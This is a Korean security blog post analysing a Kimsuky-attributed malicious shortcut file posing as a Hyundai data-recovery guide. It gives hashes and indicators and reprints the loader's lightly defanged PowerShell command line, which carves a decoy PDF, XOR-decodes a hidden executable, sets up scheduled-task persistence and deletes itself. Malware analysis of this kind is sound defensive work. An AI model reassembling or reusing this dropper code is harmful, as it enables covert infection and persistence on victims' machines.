꿈을꾸는 파랑새

반응형

오늘은 북한 해킹 단체 김수키(Kimsuky) 에서 제작한 악성코드인 현대 데이터 복구 및 절차 수립에 대해 알아보겠습니다. 일단 생성되는 내용을 보면 현대자동차·기아 데이터 복구 및 절차 수립 관련 내용인데…. 일단 원청이 해킹을 당했는지 아니면 하청을 해킹을 당했는지 아니면 어떤 분께서 이야기한 우리 북한? 에서 제작한 것이 알 수가 없는지라. 그냥 있는 그대로 글자를 적을 것입니다.
먼저 해시
파일명:현대 데이터 복구 및 절차 수립.lnk
사이즈:52 MB
MD5:75712ce08f5c6c78b3ba8ff94d8ee264
SHA-1:553616ae94ec7e7fb97f886bb5c4e66f4e4136e9
SHA-256:e44f8592680fd14373a51b9667c6e6e4ca47f84d16c1437e20d4d1bea2c6bfee
무려 52MB에 달하는 내용으로 구성되어 있으며 당연히 해당 파일은 PDF가 포함돼 있습니다.

악성코드 PowerShell

PowerShell 코드 에 포함된 악성코드
PowerShell 코드 에 포함된 악성코드

StringData
{
 namestring: 
 relativepath: not present
 workingdir: not present
 commandlinearguments: /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow6(4)\WindowsP(o)w
 erShell\v1.0\*rshell(.)exe /s /b /od') do (c0all %a "$et=@('(.)lnk');$dPo0 = Get-Loc(a)ti
 on; if (-not (Test-Path 'C:\tempcaches')) { mkdir 'C:\tempcaches' }; attrib +h +s 'C:\tem
 pcaches'; if($dPo0 -Match 'System32' -or $dPo0 -Match 'Program Files') {$dPo0 = '%t(e)mp%'
 };$lnPo0 = Get-ChildItem -Path $dPo0 -Recurse *.* -File | where {$_.extension -in $et} | w
 here-object {$_.length -eq 0x03380000} | Select-Object -E(x)pandProperty FullName;$lnF0=N
 ew-Object System.IO.FileStream($lnPo0, [System.IO.FileMode]::Open, [System.IO.FileAccess]:
 :Read);$lnF0.Seek(0x0(0)001046, [System.IO.SeekOrigin]::Begin);$sFo0=New-Object byte[] 0x00
 16DCC0;$lnF0.Read($sFo0, 0, 0x0016DCC0);$sPo0 = $lnPo0.replace('(.0lnk','.pdf');sc $sPo0 $s
 Fo0 -Encoding Byte;& $sPo0;$lnF0.Seek(0x0016ED06,[System.IO.SeekOrigin]::Begin);$eFo0=New-(
 O)bject byte[] 0x0005B488;$lnF0.Rea(d)($eFo0, 0, 0x0005B488);for($i=0;$i -lt 0x0005B488;$i+
 +) {$eFo0[$i]=$eFo0[$i] -bxor 0xAD;}  $ePo0='C:\tempcaches\ms(.)exe';sc $ePo0 $eFo0 -Encodi
 ng Byte;$lnF0.Seek(0x001CA18E,[System.IO.SeekOrigin]::Begin);$mFo0=New-Object byte[] 0x0000
 0909;$lnF0.Read($mFo0, 0, 0x00000909);for($i=0;$i -lt 0x00000909;$i++) {$mFo0[$i]=$mFo0[$i]
 -b(x)or 0xAD;}  $mPo0='C:\tempcaches\ms(.)exe.manifest';sc $mPo0 $mFo0 -Encoding Byte;$lnF0
 .Seek(0x001CAA97,[System.IO.SeekOrigin]::Begin);schtasks /create /tn U(p)date-out-of-date-2
 0240324001883765674 /tr 'C:\tempcaches\ms(.)exe' /sc minute /mo 10 /f;schtasks /create /tn 
 Update-out-of-date-20240324001883765675 /tr 'wscript /b c:\tempcaches\cache.vbs' /sc minute
 /mo 11 /f;$lnF0.Close();re(m)ove-item -path $lnPo0 -force;" &&exit
 iconlocation: .pdf
}

악성코드 분석

1.PowerShell 실행
C:\Windows\SysWow64\WindowsPowerShell\v1.0 디렉터리에서 이름에 rshell.exe 가 포함된 모든 파일을 찾는 동시 악성코드가 PowerShell 호스트(powershell.exe)를 통해 실행되도록 위장
/OD (오래된->최신 정렬)로 나열된 경로를 for /f로 순회하며 call % a 형태로 호출
.PDF는 아이콘 위장용으로 돼 있음
2. 탐색 대상 경로 선택
현재 폴더가 System32/Program Files가 아닌 경우엔 그냥 현재 폴더를 재귀하게 하고 참일 경우에는 %temp% 라는 존재하지 않을 수 있는 경로를 스캔하려 시도
3.대상 LNK 선택
.lnk 중에서 길이->0x03380000 (54,001,664 bytes 약 51.5 MiB)
51.5 MiB짜리 LNK 는 매우 비정상인 것을 쉽게 확인 가능 즉 나는 악성코드이다.
PDF 로 변경
LNK 파일 안에서 0x00001046 위치부터 0x0016DCC0 바이트(약 1.49MB)를 읽고 해당 데이터는 그대로 저장되어 원래 LNK의 이름에서. lnk 를 .pdf 로 바꾼 파일명으로 저장
디코이 문서
2.XOR 0xAD 연산
0x0016ED06 위치부터 0x0005B488 바이트(약 374KB)를 읽어들이며 단순 저장이 아니라 바이트 하나하나를 XOR 0xAD 연산으로 복호화
C:\tempcaches\ms.exe라는 파일로 저장
실제 악성 실행 파일(PE 파일)
3.XOR 0xAD 복호화 2
마지막으로 x001CA18E 위치부터 0x00000909 바이트(2.3KB 정도)로 읽어들이며
XOR 0xAD 복호화 과정을 거치고 나서 
복호화된 내용은 C:\tempcaches\ms.exe.manifest 라는 파일로 저장
실행 파일 매니페스트로 프로그램 실행 시 관리자 권한을 요구하거나 호환성 모드 같은 실행 속성을 정의하는 데 사용이 되며 ms.exe 실행 환경을 정상적으로 보이게 하거나 권한 상승
정리
PDF 위장 디코이

데이터 백업 및 복구 절차 수립 가이드 미끼 파일
데이터 백업 및 복구 절차 수립 가이드 미끼 파일

실제 악성코드(EXE)
EXE 실행 환경 매니페스트
C:\tempcaches 폴더가 없으면 생성 후 attrib +h +s로 숨김+시스템 플래그 부여
ms.exe 10분마다 실행을 하며 
cache.vbs 11분마다 실행하지만, 해당 스크립트 내에선 cache.vbs를 생성하지 않음
마지막에는 당연히 $lnF0.Close() 후 Remove-Item -Force로 원본 LNK 폭파
C:\tempcaches\ms.exe
C:\tempcaches\ms.exe.manifest
스케줄러 작업
Update-out-of-date-20240324001883765674
Update-out-of-date-20240324001883765675

작업 스케줄러 에 실행 되는 ms.exe작업 스케줄러에 실행 되는 cache.vbs
작업 스케줄러 에 실행 되는 ms.exe

이벤트/로그
Microsoft-Windows-TaskScheduler/Operational
Sysmon(Event ID 1, 11, 13), PowerShell logs (module/script block)
레지스트리/AMCache

tempcaches 폴더에 생성된 악성코드templist 파일 에 포함된 내용
tempcaches 폴더에 생성된 악성코드

ms.exe 파일 분석 하기 귀찮아서 통과

현대 데이터 복구 및 절차 수립 미끼 파일 내용
현대 데이터 복구 및 절차 수립 미끼 파일 내용

핵심 요약

LNK(바로가기) 악용한 악성코드
LNK에서 디코이 PDF,XOR 암호화된 EXE(실제 페이로드),매니페스트 를 하드 코딩 오프셋으로 사용
이후 작업 스케줄러 2개를 등록해 10분/11분 주기로 지속성 확보 즉 쉽게 이야기하면 컴퓨터 실행을 할 때부터 실행되고 계속 컴퓨터에서 실행
드롭 디렉터리 C:\tempcaches를 숨김+시스템 속성으로 은폐
원본 LNK 삭제
templist 파일에 포함된 내용
호스트 OS 정보 + 프로세스 목록(tasklist) 요약입니다.
Windows 10 Pro (빌드 19045), VirtualBox 가상머신 환경.
최근 설치 (2025-04-26)
현재 부팅:2025-09-11 오전 5:55.
메모리,네트워크 정상 범위
아마도 해당 부분을 수집해 가는 것이 목적이 아닐까? 생각이 됩니다.
그리고 PDF 내용은 그냥 별것 없고 그냥 KISA-보호 나라, 경찰청 사이버수사대, 고객사에 신고하거나 백업하라는 내용임 별것 없음
결론은 김수키(Kimsuky)는 대기업도 노리고 있다. 아~이것도 국방부에 물어봐야 하느냐?

 

공유하기

facebook twitter kakaoTalk kakaostory naver band